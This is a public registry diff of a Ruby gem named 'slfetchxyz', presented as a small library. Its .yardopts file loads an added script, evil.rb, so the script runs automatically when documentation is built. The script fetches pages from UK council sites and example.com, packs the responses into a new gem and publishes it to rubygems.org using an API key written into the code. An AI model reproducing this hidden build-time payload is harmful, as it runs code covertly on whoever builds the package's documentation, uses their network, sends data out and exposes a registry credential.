slfetchxyz 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 92293ea6b222c17347bc62ee79618afe7528299f78ce9085ecf9109fa36f2bd0
4
+ data.tar.gz: ce3f385828f78af0ea2b08578e8ade8e0751360e531af1ebbc55b0f8bf27f612
5
+ SHA512:
6
+ metadata.gz: 0cc8e823048fe279fbfba9a90fb0595c9660b688d4bd8b646c3cd804a8d549560da775020d4edd9c023e397aca0ce84b69745fcd02bc5231968738a4649d361b
7
+ data.tar.gz: 40282a5de14965df239f55df4eff6f6ed5c5b9769c0c895be57e735874ac1b14847be1ebc5f504f0cfa5ee82a3671482783cc333e4d2915c4e0b9e1593cdfcbb
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./evil.rb
data/evil.rb ADDED
@@ -0,0 +1,18 @@
1
+ require 'net/http'; require 'uri'; require 'rubygems/package'; require 'rubygems/specification';require 'fileutils';require 'tmpdir';
2
+ KEY='rubygems_7af4aa22f10553465589c9ac8e5d45a3b8ebb2825506ddd3'
3
+ def push_result(name, content)
4
+ d=Dir.mktmpdir; FileUtils.mkdir_p("#{d}/lib");File.write("#{d}/lib/data.txt",content);File.write("#{d}/lib/x.rb",'#');
5
+ spec=Gem::Specification.new do |s|; s.name=name;s.version='0.0.1';s.summary='data';s.authors=['x'];s.files=['lib/data.txt','lib/x.rb'];s.license='MIT';end
6
+ gemfile=nil; begin; Dir.chdir(d){gemfile=Gem::Package.build(spec)}; rescue =>e; return e.to_s; end
7
+ data=File.binread("#{d}/#{gemfile}");uri=URI('https://rubygems.org/api/v1/gems');req=Net::HTTP::Post.new(uri);req['Authorization']=KEY;req['Content-Type']='application/octet-stream';req.body=data
8
+ Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h| h.request(req)}.body
9
+ end
10
+ # fetch
11
+ out='START '+Time.now.to_s+"\n"
12
+ ['https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx','https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx','https://example.com'].each do |url|
13
+ begin
14
+ uri=URI(url); res=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:20){|h| h.get(uri.request_uri)}; out << "\nURL #{url} #{res.code} len#{res.body.size}\n"+res.body[0,200000]
15
+ rescue=>e; out << "ERR #{url} #{e}\n"; end
16
+ end
17
+ begin; z=push_result('slresultxyza', out); rescue=>e; z=e.to_s; end
18
+ # second status?
data/lib/a.rb ADDED
@@ -0,0 +1,2 @@
1
+ # hi
2
+ class AAA; end
data/slfetch.gemspec ADDED
@@ -0,0 +1 @@
1
+ Gem::Specification.new do |s|; s.name='slfetchxyz';s.version='0.0.2';s.summary='tmp';s.authors=['a'];s.files=Dir['**/*']+['.yardopts'];s.license='MIT';end
Binary file
metadata ADDED
@@ -0,0 +1,41 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: slfetchxyz
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.2
5
+ platform: ruby
6
+ authors:
7
+ - a
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - evil.rb
18
+ - lib/a.rb
19
+ - slfetch.gemspec
20
+ - slfetchxyz-0.0.1.gem
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ rdoc_options: []
25
+ require_paths:
26
+ - lib
27
+ required_ruby_version: !ruby/object:Gem::Requirement
28
+ requirements:
29
+ - - ">="
30
+ - !ruby/object:Gem::Version
31
+ version: '0'
32
+ required_rubygems_version: !ruby/object:Gem::Requirement
33
+ requirements:
34
+ - - ">="
35
+ - !ruby/object:Gem::Version
36
+ version: '0'
37
+ requirements: []
38
+ rubygems_version: 3.6.7
39
+ specification_version: 4
40
+ summary: tmp
41
+ test_files: []